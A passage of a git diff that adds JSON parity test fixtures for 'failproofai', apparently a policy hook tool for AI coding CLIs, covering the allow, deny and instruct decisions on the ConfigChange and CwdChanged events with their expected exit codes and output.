"stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/ConfigChange/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/ConfigChange/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..58e192a9 --- /dev/null +++ b/__tests__/parity/fixtures/codex/ConfigChange/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/ConfigChange/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/ConfigChange/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..1f8ae1fa --- /dev/null +++ b/__tests__/parity/fixtures/codex/ConfigChange/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/ConfigChange/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/ConfigChange/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..3fd9a645 --- /dev/null +++ b/__tests__/parity/fixtures/codex/ConfigChange/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/ConfigChange/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/ConfigChange/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..46737e31 --- /dev/null +++ b/__tests__/parity/fixtures/codex/ConfigChange/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/ConfigChange/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/ConfigChange/deny__tool-present__one-policy.json new file mode 100644 index 00000000..2743332d --- /dev/null +++ b/__tests__/parity/fixtures/codex/ConfigChange/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/ConfigChange/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/ConfigChange/deny__tool-present__two-policies.json new file mode 100644 index 00000000..43fbbe43 --- /dev/null +++ b/__tests__/parity/fixtures/codex/ConfigChange/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/ConfigChange/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/ConfigChange/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..b281951c --- /dev/null +++ b/__tests__/parity/fixtures/codex/ConfigChange/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ConfigChange\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/ConfigChange/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/ConfigChange/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..2e7fd1eb --- /dev/null +++ b/__tests__/parity/fixtures/codex/ConfigChange/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ConfigChange\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/ConfigChange/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/ConfigChange/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..3f96e573 --- /dev/null +++ b/__tests__/parity/fixtures/codex/ConfigChange/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ConfigChange\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/ConfigChange/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/ConfigChange/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..a26581fe --- /dev/null +++ b/__tests__/parity/fixtures/codex/ConfigChange/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "ConfigChange", + "input": { + "event_type": "ConfigChange", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ConfigChange", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ConfigChange", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ConfigChange\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/CwdChanged/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/CwdChanged/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..f628b926 --- /dev/null +++ b/__tests__/parity/fixtures/codex/CwdChanged/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/CwdChanged/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/CwdChanged/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..bfabf6eb --- /dev/null +++ b/__tests__/parity/fixtures/codex/CwdChanged/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/CwdChanged/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/CwdChanged/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..55f6880f --- /dev/null +++ b/__tests__/parity/fixtures/codex/CwdChanged/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/CwdChanged/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/CwdChanged/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..6633d2e1 --- /dev/null +++ b/__tests__/parity/fixtures/codex/CwdChanged/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/CwdChanged/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/CwdChanged/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..b0d841d0 --- /dev/null +++ b/__tests__/parity/fixtures/codex/CwdChanged/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/CwdChanged/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/CwdChanged/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..2d8193c7 --- /dev/null +++ b/__tests__/parity/fixtures/codex/CwdChanged/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/CwdChanged/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/CwdChanged/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..006db9f5 --- /dev/null +++ b/__tests__/parity/fixtures/codex/CwdChanged/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/CwdChanged/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/CwdChanged/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..1e2bbe2b --- /dev/null +++ b/__tests__/parity/fixtures/codex/CwdChanged/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/CwdChanged/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/CwdChanged/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..36094350 --- /dev/null +++ b/__tests__/parity/fixtures/codex/CwdChanged/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "CwdChanged", + "input": { + "event_type": "CwdChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "CwdChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "CwdChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/CwdChanged/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/CwdChanged/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..9e61ca8f --- /dev/null +++ b/__tests__/parity/fixtures/codex/CwdChanged/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "codex", + "decision_kind": 